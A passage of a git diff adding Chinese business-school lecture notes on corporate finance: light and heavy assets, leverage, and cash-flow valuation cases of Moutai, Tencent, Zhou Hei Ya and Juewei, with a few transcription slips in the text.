+如何定义企业是轻资产还是重资产？就是看企业运营资产占全部资产的比重。债权人并不看重轻资产、重资产，但股东却很看重。股东都喜欢轻资产，所谓创新商业模式，就是企业如何用轻资产这种方式去构建业务模式。 + +在最近股票市场上，IPO那些中概股很热门，最近有一个巨无霸——药明康德，2008年在美国上市，后退市回归中国。 + +它在上市的时候一拆为三，其中一部分业务去香港上市。2017年6月，又分拆一部分业务去新三板，也就是中关村股转中心上市，另外还有一块业务是在A股上市。整个过程仅仅历时24天、飞速过会，创下自十九大以来的最快记录。这些企业改变了历史，显示了国家对于中国企业的重视。 + +其实中美贸易争端是假，但是知识产权回国是真。西方国家对《中国制造2025》非常害怕，他们认为中国要想真正振兴制造业就需要保证知识产权，但是知识产权主动权却不在中国之手。 + +美国列举众多案例，表明中国政府、中国民间是用哪些方式获取西方技术来源。所以，让一些高科技企业回归中概股、让独角兽企业在国内上市，成为一个重要的话题、成为中国独立自主发展科学技术的一个重要标志。 + +药明康德主营业务为药品研发外包，它接受药品企业的研发外包，但是，企业为什么不自主研发？因为自主研发新药周期为7-8年，需要消耗大量现金及投入。由于投入结果存在不确定，既耗大量现金又严重拖累企业财务报表，企业产品研发、投放设备是重资产，但是投放产品却是轻资产。 + +投资者都喜欢轻资产。一个企业在生命周期走到第三阶段时，追求持续经营，以创造股东价值为己任。如果股东喜欢轻资产，企业就会把更多的利润投放到产品和服务中，通过增加运营资产占总资产的比例实现轻资产化，去用更少的钱创造更大的价值、尽快进行扩张。股东关心的是，企业的资产结构中有多少钱投入到产品研发中。 + +下面我们来学习固定资产、无形资产、开发支出、长期股权投资。固定资产是设备和厂房，无形资产是专利专有技术和长期土地租约。 + +固定资产和无形资产都要分摊，它代表一个企业对产能的投入。另外，企业有长期资产，开发支出。在会计准则的规定当中，如果企业研发进入到一个能够带来新产品和新技术的阶段，这个阶段产生的投入，就形成资产。 + +但是，如果企业研发只是在研究阶段，当研究阶段产出一个主意，记在管理费用椎间盘购买。所以，在研发费用中有多少可以形成资产，是高科技创新企业自己需要深思熟虑的。企业不能把所有的研究开发投入都变成费用，那样会导致企业当期收入很难支撑，而是把能够形成技术的，放在资产中。 + +2.2 金融资产 + +金融资产是指如果一个企业它账上的现金足够支付未来一段时间固定开支后，企业可以用账上的现金去理财，就叫金融资产。 + +金融资产中，根据投资金融资产目的，有的企业会选择投资3-5个月短期理财产品用做交易，很快变现。有的企业是购买理财产品等待涨价后卖出，赚取差价。还有一些企业会购买债券，等债券到期获得收益，这就叫持有至到期。 + +对股东来说，他希望知道企业投入多少到生意中去。生意是指运营和投资——运营指产品和服务，投资指设备、无形资产、开发支出、股权投资等。同时，股东也关心企业在有闲钱时去购买理财产品的收益。 + +2.3 经营负债 + +股东关心企业债务构成是生意所致，还是金融机构借款。 + +财务杠杆是重要的财务指标，指一个企业有成本的资金来源，和 1976年诺贝尔经济学奖的资本结构定理异曲同工，即公司的价值会随财务杠杆系数的提高而增加。财务杠杆=金融机构借款/股东权益。 + +股东投资金额对每个企业都不尽相同。但是，一般情况下，当财务杠杆小于等于1时，企业风险较低。另外，当债权人借钱给企业时，首先看股东投资金额，因为债权人借给企业的钱一般小于股东投资，此时财务杠杆一般小于等于1。从这点上，我们可以评估出一个企业最大规模，即企业最大规模=股东投资+债权人借款。 + +所以，股东会关心企业资金投资比率。首先，关心运营投入，即轻资产投资，包括企业对产品和服务的投资概况。其次，关注企业的产能、股权投资，即重资产投资。例如，企业通过厂房、技术、研发投入，以提高技术含量、生产效率；通过对产业中下游企业、自身产品替代品的投资，以维护自身竞争力。 + +轻资产和重资产是根据企业资产的变现速度区分，运营资产变现速度为1个营业周期；投资资产不是用来变现，而是战略投资。 + +战略投资不以利润为目标，而是为了紧追或者寻找潜在行业风口，以便未来变现、获得项目收益。所以，股权通过投资收益获得回报。由于产能不能变现，因此投资人在判断初创企业发展时，首先，注重企业商业模式。 + +也就是说，企业能否把大部分钱投资到快速变现的资产上，所以轻资产更受青睐。其次，看重企业的规模，但是企业的规模首先由股东投资金额决定。 + +然后，由于企业债权人借给企业的钱要小于股东，企业欠钱的数量取决于企业产品中的投入。企业欠供应商应付款、欠客户预收款、欠员工工资及奖金、欠税务部税收，而还款期限却迥然不同，员工及税务部门比客户及股东还款期限短。基本上，股东会重点关注负债，因为股东和债权人的借款决定了企业可能的规模。 + +综上，当企业和股东汇报的财务报告时，会跟股东汇报企业资产结构、资产周转率、利润率。为了避免外包带来的不确定性，所以企业投资产能十分必要。 + +如果企业要投资股权，一定要和股东说明，后面必然还有痴人接棒。同时，企业会和股东汇报负债情况，会告诉股东是欠了哪个债权人的钱进行产品研发。股东听到此会喜笑颜开，因为股东不希望企业一味地用他的钱去研发产品，不希望企业的规模完全依赖于股东。因此，企业如果能够欠供应商及客户的钱去研发产品，那么企业规模将会无限增大。 + +所以，股东和债权人的关注点很大不同是——债权人很担心这些钱是欠款还是借款，能否还清；而股东却鼓励企业欠款进行产品研发，这体现了企业的竞争优势。为什么说投资企业就是投资经营管理团队？ + +为什么有时候企业进行资本较大投资时，要请一个业内名人站台？因为管理团队、业内名人可以给客户带来安全感。安全感使供应商愿意给企业账期、客户愿意先付款。 + +贾跃亭做手机，使整个手机产业链相关供应商、客户的利润亏损一空。实际上，只有消费者购买乐视手机是赚钱的。现在他去投资汽车，他就要找一个在汽车业内如雷贯耳的人来站台。 + +当然，仅靠贾跃亭的个人魅力也是可以找到接盘侠的，如孙宏斌。投资人投资一个企业，未必需要这个企业能大赚一笔，只要还有二货誓死追随，前一个投资者就可以全身而退。但是，供应商、客户却无法逃离，只能自认倒霉。 + +对一个企业来说，相比同行的竞争优势主要体现在两个方面。第一，毛利率。企业产品只要有足够毛利率，就能够去支付市场推广费用、就能够打败竞争对手，抢占更多市场部份额。 + +如果企业对市场持续投资——不断烧钱、亏本投入，这时企业就需要有足够的毛利率去增加竞争优势。第二，上下游供应商信任度。如果上游能够给足账期，覆盖到下游应收款拖欠时限，那么企业就能持续经营。 + +股东看重的竞争优势就是企业能够通过更高的毛利率，被更信任自己的供应商放更多的账期，从而比竞争对手在行业内存活更久。 + +2.4 资金周转效率 + +不同投资人看资产负债表角度不同。股东是从持续经营角度，他投资企业，是希望企业能够持续经营、扩大规模、吸引更多的投资人。因此，企业会和股东去讲资产结构、营业周期、利润率，讲研发产品欠了上游供应商多少钱。 + +营业周期是指企业从外购承担付款义务，到收回因销售商品或提供劳务而产生的应收账款的这段时间。其计算公式为：营业周期=存货周转天数+应收账款周转天数。这些数据都能够让股东相信企业是否有足够的竞争力或者竞争优势来维持经营，比竞争对手更长寿。 + +综上，在企业内部做报告的时候，我们需要知道经过1个月的经营，留下了多少应收款、多少库存，这些应收款和库存在何时可以变现。通过这1个月的经营，企业欠款多少、何时到期。 + +这些都是财务状况，需要企业内部熟知，同时企业需要分析风险点。大部分企业风险点是应收账款能否收回、货物能否卖出这两件事情。 + +所以，风险管理最重要的一件事情是企业账上有足够的钱，其他全是浮云。虽然企业可以加紧对客户的信用状况进行调查，但是再好的客户都有财务困难的时候。 + +# 提问环节 + +问题1：作为创业公司，应该如何分配公司的资金和利润才算合理？具体应该分配多少在营销、研发、员工工资以及分红上？ + +单教授：作为一个创业公司，首先得有利润。在创业早期，一个公司的股权价格举足轻重，在企业还没有利润的时，可以把研发外包。由此，现存的公司就是一个纯轻资产的公司，只要专注于运营产品、进行市场推广、获得收入，就可以形成盈利和正现金流。 + +但是，创业公司不是靠分配利润，而是靠产品的持续创新、规模扩张获得估值。创业的时候，一个企业的估值主要定义为产品估值，所以企业应该专注于产品本身。如果企业在初始阶段投入大量研发，要想获得盈利和正现金流就异常艰难。 + +问题2：请问如何从估值角度理解传统互联网企业从线上到线下这种重资产转型模式？ + +单教授：新零售讲到底还是零售。新在什么地方？ + +传统零售业的价值主要体现在三个方面：第一，来自于企业毛利率。大部分传统的零售业，通过毛利覆盖它的费用剩下净利润很少，因为传统零售业的竞争特别激烈。 + +第二，来自于企业地理位置。这个店的市口在哪里，这个地段有没有升值空间。第三，来自于企业自身增长。所以，我们对传统零售进行估值的时，一般是以企业的产品能够带来多少盈利、地理位置价值以及企业自身规模价值这三方面。但是，新零售颠覆了我们对零售盈利方式认知，使我们觉得零售模式应该是吸引流量+流量变现。 + +大家所熟知的引流，就是我们去对新零售进行估值的时候： + +第一，看它吸引流量的能力、效率。 + +第二，看它如何将流量变现。所以，大家知道有很多商店，它首先会根据吸引来的流量重新定位产品。尤其当流量是通过流量公引流过来，他们会通过数据分析来了解这些客户在某个特定时间，进店浏览的需求，然后对售卖的产品进行重构。 + +其次，这些商店会改变它的盈利模式。传统零售是赚客户的钱，而新零售则是赚供应商的钱。我曾听过一门新零售的课，里面提到说：“每一种产品，我们最多只给客户3个选择，如果你要成为3个选择之一，那么你就得在我这里投放广告。”于是，这个企业就从只赚客户的钱转变成既赚客户的钱、又赚供应商的钱。 + +很多零售门店，例如香港，新零售这个新字体现在企业对客户、客层进行分析，然后尽可能地卖东西给客户，但是不局限于企业固有的产品。例如，香港万宁药店，其药品在万宁的销售收入比重仅为10%左右。 + +万宁的商业模式是通过它的药品给它贩卖的其它产品做背书。如果我们去万宁逛一圈，可能会买一些防蚊液回来，防蚊液并非药品，但是经由万宁盖章后，我们就觉得这个产品万宁卖的，安全可靠。 + +所以，我认为新零售的估值，从过去的3个传统业务的估值，转向企业地理位置要素、产品要素都不重要，但是企业对客户的了解程度、企业在生意中如何全方位的挣到钱至关重要，也就是说，能力、效率是企业估值的核心。谢谢！ + +问题3：请问课程中讲解利润表时，为什么制造业有成本而服务业无成本？ + +单教授：成本和费用之间的差异，服务业的成本主要是人力费用，而人力费用一般很难固化到这个企业提供的每一项服务中去，因为我们在讲成本的时候，是讲数量，企业卖了多少产品、提供了多少次服务。成本它要能够物化到数量当中去，有数量，才有单位成本、才有总成本这样的一个概念。 + +但是，对于企业来说，服务业最主要的投入可能是人力成本，人力成本它很难转化到每一次服务中去。所以我们会说，服务业没有成本只有费用，人力是费用，很难变成是一项跟服务次数有关的成本。 + +例如，银行有利息收入，跟利息收入匹配的是利息支出。那些发放贷款的信贷员在代审委员会提供审核服务，这些人工的费用支出不放在贷款的成本中，而是用做费用处理。所以，对服务业，很难定义成本、很难把人物化到每一次服务中去，所以在大部分时候，企业会把支出放在费用里面。但制造业，可以通过材料、人工、机器设备物化到每一个产品当中去。 + +问题4：为什么对于像阿里巴巴那样的大企业来说，他们更注重的是规模，而不是盈利？为什么一些大企业愿意收购亏损的企业去寻求更大的规模呢？ + +单教授：这个问题首先要问马老板，但是我们知道企业在不同阶段的价值观不一样。初创的时候，企业的价值观是追求产品价值。接下来，是追求规模价值。 + +企业开始慢慢扩大规模，经过盈亏平衡后，企业开始创造财务价值。财务价值是一个企业凭自身的能力创造的，它只有不断地滚动，才能创造更多价值。但是财务价值增长是有限的，总资产报酬率相当企业的内心增长率。 + +如果企业自身有对规模的追求，于是其增长就要达到20%，但企业总资产报酬率只有6%，所以另外14%，通过购并来完成规模扩张。 + +并购是当企业的野心超过能力时的一种选择，但是并购的时，企业不单是看中并购这个企业能够给我们带来多少利润，而是看重协同价值，也就是看中并购企业和自身企业加起来的价值。 + +例如阿里巴巴，它是大流量企业，它去并购线下项目是为了引流线下，然后线下的企业通过交易变现。 + +所以，当它去收购一个项目时，可能通过自身给项目带去更多的流量来帮助这个项目获得利润，但也有可能它并购了一个流量公司，可以给阿里巴巴来导流，然后在通过它引流给其它的线下公司来实现变现。 + +所以，从这个角度来讲，阿里巴巴执行的是新零售战略，它的主要目标是获得更多的流量，再让这些流量通过更多的交易场景来变现，而不是获得净利润这种单纯的财务指标。 diff --git a/_posts/2018-10-29-303-xcw04.md b/_posts/2018-10-29-303-xcw04.md new file mode 100644 index 0000000..87a0c11 --- /dev/null +++ b/_posts/2018-10-29-303-xcw04.md @@ -0,0 +1,311 @@ +--- +layout: post +title: 【财务会计模块】 第4节 财务报表的分析方法和案例 +pid: 303 +tags: [mba] +--- + +《财务管理》第四讲——财务报表分析方法和案例 +一、引言 + +对于混沌大学商学院课程来说，不仅仅是要教授大家经典的商学理论，更是要教授大家理论背后的分析方法，并通过实际案例给大家做参考。 +本节课分为三个部分： + +（1）财务现金流案例解析（茅台、腾讯） + +（2）结合第一性原理进行财务分析 + +（3）资产负债表法。 + +希望大家可以通过这堂课，学到财务分析的方法，建立新的思维认知，启迪工作和生活。 + +二、财务现金流案例解析 + +2.1 茅台案例 + +首先，茅台现金流量中经营现金状况很好，每一年都在赚钱。2008-2014年，它的现金流量是以平台式增长这种模式。但是，2015、2016年，增长模式变为每年直线翻倍增长。2017年增长变为2015、2016年中间点。所以，茅台的现金流量是在增长，但是2015、2016年的爆发式增长不代表它的一贯规律。 + +![](/uploads/2018/10/29-09.png) + +下面我们来看投资现金流，虽然茅台投资现金流年年为负，但是，茅台除在2013、2014做了一些扩产，其他大部分年份只是在做技改。所以，经营现金流和投资现金流结合起来就是自由现金流，我们会发现茅台没有对外股权投资。 + +![](/uploads/2018/10/29-10.png) + +自由现金流对成熟的企业，就是它的产品规模扩张到一定的程度、没有太大的野心、没有更多想要占据市场更多份额的规划。那么，用自由现金流我们建了一个模型，发现相关系数非常高，也就是说茅台自由现金流是有规律的。我们用模型做了指数预测，发现在未来茅台是估值而不是收入在增长，它的自由现金流的增长大概是8.1%。 + +下面我们来对茅台进行估价，它2017年的经营现金流是221亿、投资现金流为负11亿，所以他的自由现金是211亿，用赚来的钱去做产能投资、产能更新，剩下211亿。我们用模型预测2018年，茅台自由现金流是262亿，2019年为288亿。所以，增长率为每年大概8.1%左右，主要是来自于经营现金的增长，也就是说，未来茅台可能价格会上涨约8.1%左右，如果维持现有销售不变的话。 + +226亿，就是我们对2018年茅台自由现金流的预测，自由现金流是可供股东分配的现金。根据资本资产定价模型，因为茅台它是它没借钱、没有金融债，所以我们用262亿做贴现，得出股权贴现率（WACC）等于12.18%。同时，我们取8.9%的未来增长率，用2020年现金流除以2018年现金流，自由现金增长率= + +![](/uploads/2018/10/29-11.png) + +2018年预测现金流=262/（0.1218-0.089）= 8006（亿）。茅台收盘价，与此相近，市值是8000亿。在当天，茅台总市值约8800亿，比我们的估价高出10%，我之前预估茅台每股价值为708元。 + +![](/uploads/2018/10/29-12.png) + +![](/uploads/2018/10/29-13.png) + +大家可以看到整个过程当中，我们没有去证明茅台在700元估值是否正确，而是依据企业的赚钱能力——经营活动现金流，企业本身没有太大的野心，产品有非常强的定价权、定价权就是它的竞争力，未来的现金流量仍然会增长，但增长的预估可能来自于调价。 + +我们继续来看茅台2016年、2017年这两年的产品构成。2017年茅台的全部销量约6万吨，其中一半是茅台酒，一半是其它。而在2016年，茅台的销量是3.7万吨，其中2/3是茅台酒，1/3是其它系列酒。由此可见，茅台酒的毛利率更高，其它系列毛利率则一般。所以，虽然茅台的销售量逐渐增加，但增加的主要是其它系列酒。所以如果我们看每吨均价，实际上茅台是在涨价。2016年茅台酒每吨160万元，也就是一瓶茅台酒是500ML，一吨卖160万元，得出2016年出厂价801元、2017年为867元。 + +![](/uploads/2018/10/29-14.png) + +![](/uploads/2018/10/29-15.png) + +茅台其他系列酒每吨均价2016年为15万元、2017年为19万元，差价很大。但是，由于系列酒比重在上升，导致2015年-2017年茅台吨均价下降，原因并不是茅台酒定价在下降，而是系列酒占的比重在上升，所以数据测算有误差。因此，茅台虽然在未来销售收入在增长，但增长可能来源系列酒销量的增加。由于系列酒定价偏低，所以虽然其收入在增加，毛利率、均价却未必会增加。但是，实际上当我们对茅台进行估值时，可能更多的是茅台酒本身，而非茅台对其他系列酒产生的品牌效应。 + +如果一个企业对自由现金流的数字六神无主，会给投资者、经营者带来很大压力。 + +运作企业有两种方法： + +第一，用做金融的手段，凭本事把企业做成风口、然后卖掉变现，这种人成功的融资者； + +第二，用企业家的态度，将产品和项目在资本市场上运作、大赚一笔，这种人是成功的企业 +家。二者得其一，创业者就可以成功。 + +当我们打开一些企业的现金流时，心情异常沉重，因为这些企业从未赚钱，甚至连经营现金流都为负值，意味着该企业亏本赚吆喝。一个企业最失败的就是亏钱卖产品，京东早期就是如此，其毛利率约11%、物流成本约9%。如果一个企业毛利率11%、物流成本9%，剩余2%支付广告及管理费用。由于京东没有自己的物业、仓库，如果加上租金、管理成本，该企业必定亏钱，这会导致京东规模越大、亏损越多。 + +所以，对与京东和阿里巴巴来说，有很长一段时间，大家都在讨论做物流的可行性，其实京东是在慢慢提价，但大家可能浑然不觉。因为京东之前主要用户是男性，阿里主要用户是女性，男性对价格可能不那么敏感。当京东的毛利率升到13%时，它开始盈利，卖的越多、赚得越多。对这个企业来说，这是一个转折点。 + +我们经常吐槽，很多大企业——宰熟客，其实宰熟客是企业的必然之举。当你是新客户时，你是企业的流量，它为了吸引可以需要付出一些代价；当你是熟客时，你就要为它做贡献，让它持续经营。这并不是大数据分析的结果，而是所有商业模式教会我们的。所以，如果企业家致力于成为成功的企业家，那么，企业一定要赚钱，一定要让股东知道企业是以赚钱、盈利为核心。 + +我们会对很多企业做金融分析。如果企业家用做金融的方式运营企业，那么其估值来自于规模，意味着企业可以不计成本的追求规模，在短时间进行大量的投入以做大规模。我们再讲企业价值观的时候，企业是在两个阶段，用规模增加估值。第一阶段，通过自身提高产能扩大规模；第二阶段，通过收购扩大规模。所以，如果企业可以不计成本地去追求规模而投资者也认可规模作为企业计价的主要依据时，那么企业也可以获得融资、持续经营。 + +但是，以金融的手段运营企业少之又少，大概比例为一比九。也就是说，十个企业家中，只有一人是有能力选择不计成本，追求规模扩张的业务模式，剩下九个企业家，需要脚踏实地地把企业做成赚钱的生意。 + +所以，如果初创企业要从现金流量表中找一个目标公司、标杆企业作为公司发展的方向，那么一定要找一个可以赚钱的公司，这是典型做行业风口的方式。 + +2.2 腾讯案例 + +在成立初期时，腾讯依靠游戏赚钱，然后慢慢通过游戏增加流量、增加更多场景来变现。 + +腾讯的经营现金流高于净利润，评估机构会给这种盈利模式的企业以更高估值，即现金先到、利润后行。客户会先给企业预售款，然后企业给客户提供产品和服务，最后将客户的钱转化成收入。如果企业可以有能力先收客户的钱，那么就不用担心企业现金流枯竭。企业的竞争力来源于：第一，毛利率足够高；第二，可以欠到钱。所以，企业要善待供应商，与其协商以多增加账期。另外，如果企业可以先让客户付款，就更立于不败之地。 + +![](/uploads/2018/10/29-16.png) + +从2007-2014年，腾讯的自由现金流状况尚可（自由现金流=经营现金流-资本支出，资本支出就是企业长期投资，例如研发投入）。但是，2015-2017年腾讯公布的数据，没有拆分哪些是资本支出、哪些是股权投资。因为腾讯自我保护意识很强，它在收购兼并的限额没有超过港交所对大企业信息披露的要求，即5%。因此，我们很难搞清腾讯并购的企业概况。 + +从自由现金流来看，腾讯跟阿里迥然不同，其自由现金流的趋势是波动下降，意味着耗费大量资本支出。如果把腾讯当成一家游戏公司，那么它在开发商可能投了很多钱；如果当成社交平台，那么它的引流上耗费大量现金。综上，腾讯还需加大流量变现力度，降低变现成本。 + +![](/uploads/2018/10/29-17.png) + +所以，腾讯及阿里不断通过并购企业，通过增加更多流量来变现。四年前，英国经济学人杂志，曾预测：如果能够将微信从腾讯分拆，那么将实现更多流量变现。由于微信是一个社交平台、变现方式较多；QQ是一家游戏公司，只能通过引流和流量变现、变现方式单一，所以微信价值远高于QQ。 + +三、第一性原理与新财务分析的结合 + +在大家在创业、做项目管理时，在研究人员研究一个社会现象、开发一项工具时，我们都需要考虑传统的方法是什么。 + +所谓创新，其实对我来说，不是重构商业体系、也不是通过案例了解类似问题的解决方案，而是从客户需求和目的出发，提供解决方案。所以我个人认为，跟第一性原理相对立的是逻辑上的“归纳法”。归纳法是过去经验给我们的提示，而第一性原理是从零开始。如果一切从零开始，那么在讲第一性原理跟财富分析结合之前，我们先来分析商业银行的信用评等体系是如何重构的。 + +3.1如何辨别企业财报真伪 + +从债权人的角度、或者当企业去向债权人汇报财务状况时，会对企业的流动性、偿债能力进行分析。流动性有两种假设，一种是清算，到期后，企业马上偿还本金、利息。另一种是持续经营，短期，企业经营支付当期利息；长期，由股东承担所有本金和利息。 + +![](/uploads/2018/10/29-18.png) + +我在上海国家会计学院，有很多银行请我帮忙识别企业上交报表的真假。一个企业交给税务局和交给股东的财务报表可能不一样，因为交给税务局遵循税法，而交给股东的遵循小企业会计准则，小企业会计制度负责会计准则。其实，企业交给银行报表和交给股东的报表其实一模一样。但由于很多企业为了获得贷款，美化其财务数据，所以银行需要请专家来辨别财报真伪。 + +财务报表的数据是源于交易，一个企业的交易真实存在、数据自然生成。所以，一个企业想要美化数据，其范围有限。对于银行来说，有两个方法辨别财报真伪。 + +第一，了解企业交易的真实性。能做到这一点的只有审计，甚至审计和法律上讲的交易是真实的标准也是两码事。但是，我自己做过7年的国家审计及民间审计，所以我对数字有敏感度，当银行让我识别报表时，我是可以看出些许问题的。但是，你让我把所有的经验变成是一个程序，来对所有的企业来进行扫描，这非常困难，因为我没有办法跟踪每一个企业交易，来判断哪些是真、哪些是假。 + +第二，我们可以对行业进行横向比较，通过标杆企业找平均值，并与你的企业数据对比，如果方差太大，你的财报就有问题。 + +但是，要在很多行业找到一个标杆企业、平均值异常困难。因为企业每项资产所占比重、经营周期和负债结构差别太大。商业银行了解企业的出发点是想要了解企业的规模、贷款需求、偿债能力。那么，银行为什么要用企业的报表来判断企业能够还上贷款呢？区块链的发展对所有的金融和金融服务机构是一个严峻的挑战，有了区块链以后，我们可能不会通过商业银行做交易。 + +3.2 对账单对企业和银行的价值 + +现今来说，银行会给企业发对账单。对账单是在银行这个平台上，按照时间先后顺序，企业在一段时间所有交易的列表，然后企业拿到对账单和企业自己记录的货币资金，即现金流量表来进行比较。银行给企业提供了对账单，可是他们自己并没有有效利用对账单信息。 + +通过对账单可以了解企业所做的交易，包括向供应商采购，向客户收预付款，付房租、缴水电，缴纳增值税、个人所得税，发工资以及投融资——企业对外投资、向股东融资。当银行想要知道一个企业财务状况和偿债能力，它并不需要看报表，因为财务数据反映企业财务的特点、反映经营活动的特点。例如，一个企业去年在苏州闹市区一个很贵的商业楼办公，今年挪到了同里，租金降低三分之一，说明企业在节约成本、总体发展趋势下行。如果企业在发展业务，就需要往市中心，向租金更贵的地方发展。 + +另外，企业每月缴纳增值税、每季缴纳所得税的数额可以反推企业营业额、净利润。如果企业有不入账、不交税的业务，就会影响银行对企业的信用评等。在向银行寻求贷款时，银行不管利润表收入多少，而是根据缴税额反推收入。 + +企业发给员工工资的数量决定企业业务发展趋势。如果雇佣员工数量在增长、每个员工的收入也在增长，说明企业正在上升期、正在扩大业务。同时，企业需要了解关键岗位员工的财务状况，例如采购部门、销售部门、财务部门、工程部门的员工。假如财务部门的小李买了三套房、每月需要还贷15万，而他的工资为3万，这个时候他怎么办？因此，企业关键岗位员工的财务状况，决定了这个企业内部有没有产生舞弊的可能性。而企业了解自身员工么？其实不然，因为银行拥有员工对账单，所以企业应该请银行来做咨询。 + +在这里，请各位创业者注意，银行掌握的信息不比企业少，只不过银行不用第一性原理思考问题，而是用传统的归纳法，所以其实银行让企业提供财务状况、指标，这些毫无意义。 + +从银行对账单可以看出企业供应商的财务状况。如果企业供应商财大气粗、门前车水马龙、现金流状况很好，这个时候你不需要看其银行对账单就可以支付预付款。反之，如果供应商财务困难，那么它可能卷钱而逃，所以在这个时候，企业有必要向银行获悉供应商对账单。 + +最后是客户，当企业把货物卖给客户时，客户能否按时付款，客户的信用由其财务状况决定，所以企业需要通过银行对账单了解其客户偿债能力，而客户偿债能力由企业的上下游关键岗位的员工决定，而不是由财务报表上的数字决定。 + +![](/uploads/2018/10/29-19.png) + +综上，银行在给企业建立信用评等模型的时候，如果能从遵从李善友教授讲的第一性原理，银行就根本不需要问企业要更多的信息，而是用对账单来建立企业的信用评等模型。当然，也许企业会在多个银行开设账户，但是如果每一家银行都不清楚企业的财政状况，也就没有一家银行敢放贷给你。 + +所以，如果企业想要跟银行建立合作关系，最佳方法是让银行了解你，了解你的供应商、你的客户、你关键岗位的员工。所以我们跟商业银行建议，如果不清楚企业信用、不确定要不要给企业放贷，可以看一下企业对账单。如果一家企业，他的客户财务状况出现了问题，这个企业可能需要贷款，那么银行需要从他的客户情况来判断这个企业收到这个应收款的可能性，以及这一笔应收款对企业本身的总量产生的影响。从对账单的角度，银行可以从企业税单来判断企业规模、发展趋势以决定是否给企业放贷。 + +金融市场讲求公平，而不是互相占便宜，企业让银行了解更多信息，银行才能给企业一个公正的评价，所以我们建议银行从对账单入手，重新建立一套体系评估企业财务状况、偿债能力，而不仅仅依赖企业提供的财务报表，也就避免了银行对企业财报的真伪辨别。伪造一张财务报表，就会产生蝴蝶效应，企业就需要伪造更多张报表，同时还需紧盯风险，因为会计法规定，财务报表造假要被判刑、坐牢，谁在上面盖章、谁就要做牢，所以财务经理、出纳、企业的法人代表承担连带责任。 + +所以，从某种程度上讲，如果说财务报表能够反映企业的经济规律，那么它是最简单、最直接的也许是通过交易数据本身直观地反映企业的经济活动和趋势，帮助我们去了解一个企业的发展规律。 + +3.3第一性原理案例——“地道下酒菜” + +下面我们通过商学院张世伟提供的“地道下酒菜”案例，来分析如何将第一性原理与实际工作相结合。 + +我们要分析两个问题：第一，产品。第二，渠道。该公司产品定位是“休闲食品+零食”。那么，该产品到底是以门店、直营店铺、电商，还是以心理销售进行渠道营销？ + +凭着企业家的直觉，张世伟一开始就有了一个初步规划，于是他带着这个想法完成作业后，来找我验证。这个项目预计投入100万，接下来我需要帮他验证这个投入与最终结果是否一致。同时我们需要测算，企业持续经营需要投入多少钱。 + +张世伟说“下酒菜”不难，但“地道”比较难，因为地道是通过产品传递的文化要素，包含了我们对本地文化的融入以及我们对家乡的思想，中国的饮食是一种文化，是因为它有很多分散的东西在里面。 + +但是聚焦食品本身，张世伟在做项目的时候，并没有分析休闲食品行业的其他企业。所以，我选取休闲食品行业两个老大，同时也是上市公司，周黑鸭、绝味鸭脖进行财务数据对比分析。 + +3.4 周黑鸭案例 + +首先来看周黑鸭利润表数据，其2016年销售额28亿、2017年预测销售额33亿。实际上，2017年周黑鸭销售额确实为33亿，与我们预测一致。周黑鸭销售额在2013-2015年快速增长，2016年收入增长却放慢至16%。分析师预测周黑鸭的收入增长率约为18%，张世伟认为增长率太低，因为企业在做投资、投产品的时，总是希望把产品投到一个高增长的市场上。 + +周黑鸭毛利率为50%-60%，说明企业具有竞争优势，有底气用25%去做市场推广。销售费用包括广告、门店租金。收入的四分之一用于支付租金，这是固定支出，给企业造成巨大压力，因为租期最少3个月。周黑鸭管理费用不是很高，在此省略。 + +最后我们看到净利润，2017年周黑鸭销售额是33亿，净利润预估7.5亿，净利润率为22%。20%的净利润率似乎足以吸引投资人投资，但是周黑鸭收入增长快于净利润增长，也就是说，行业已过了发展最快期。 + +![](/uploads/2018/10/29-20.png) + + +![](/uploads/2018/10/29-21.png) + +周黑鸭2016年的营业周期，即企业投产品、做产品、卖产品、收回钱需要的时间，60天。 + +![](/uploads/2018/10/29-22.png) + +那这个60天包括以下几方面。第一，存货周转天数，从屠宰动物开始到做产品、包装、发货到全国各地、卖出商品。因为周黑鸭是直营店，所以其产品全部自己投放、卖出，没有经销商，也就几乎没有应收款。 + +第二，总资产周转率=销售收入/总资产 + +周黑鸭2016年总资产周转率为1.1，也就是说，投资100万，销售额为110万，这是一个非常重要的经验数据。 + +为什么股东都偏爱轻资产企业？实际上这类企业总资产周转率较快。如果投资100万，产生200万销售额，总资产周转率为2；如果投资100万，产生400万销售额，总资产周转率为4，由此增加投资利用效率。周黑鸭净利润率为20%，即投资100万，产生20万利润。 + +3.5 绝味食品案例 + +下面我们来看另一个休闲食品案例，绝味食品，其规模大于周黑鸭。 + +绝味食品2017年销售额38亿、预测额亦是38亿，大于周黑鸭33亿的销售额，为行业老大。但是，绝味食品2016年收入增长率只有12%，2015年只有11%，但2017年开始却提高至13%。2016年销售费用约2.6亿，相对于其32亿销售额，占比不足10%. + +![](/uploads/2018/10/29-23.png) + +但是，绝味为什么销量比周黑鸭好呢？因为它用了加盟，加盟的不在绝味的收入和利润统计范围之内，这就相当于绝味把产品批发卖给加盟店，所以其利润其实为批发产生的毛利。但是批发的毛利率低，不过批发不需要支付租金，所以绝味销售费用相对较低。绝味的净利润率约10%，毛利率只有32%——仅为周黑鸭毛利率（62%）的一半，但是其经营状况尚可。 + +我们列举休闲食品两家公司，周黑鸭——典型直营模式和绝味食品——直营+加盟模式，主要是为了让大家了解直营模式和加盟模式的不同。直营模式利润率比加盟模式高，但是加盟模式比直营模式销售额更多、销售费用更低，二者各有利弊。所以，如果企业追求高利润率，可以选择直营；如果追求高销售额，就得让步利润，把注意力聚焦产品本身、品牌建设，和规模扩张。 + +绝味的营运周期在2016年为60天，和周黑鸭大致相同，也就是说直营和加盟模式的周转速度一样，但投资者更喜欢利润率高的企业。绝味食品应收账款在一天以内，它不允许加盟商欠款、而是先付款后发货，也就是说，有强势的定价权。总资产周转率1.8，比周黑鸭要快，因为绝味不仅自营，还有经销商售卖。绝味欠供应商应付账款，这意味着绝味的供应商会提供禽类等原材料。 + +![](/uploads/2018/10/29-24.png) + +3.6 周黑鸭和绝味食品案例复盘 + +分析完周黑鸭和绝味食品案例，张世伟有两个想法： + +第一，休闲食品增长率只有10%左右，已经不是风口行业，这让他倍感压力。 + +第二，规模化经营对于创业者很困难，因为不管是做直营模式还是加盟模式，都需要建立一个强势的品牌，而品牌的建立不是一日之功，需要日积月累，方能跬步千里。周黑鸭的直营模式，意味着其店铺可以选在机场、火车站等人流量最大的地方。实际上，周黑鸭并没有仔细研究目标客群，他们认为，只要店铺开在流量大的地方，每天一万人路过，0.5%-1%路人购买产品足够企业获得盈利。 + 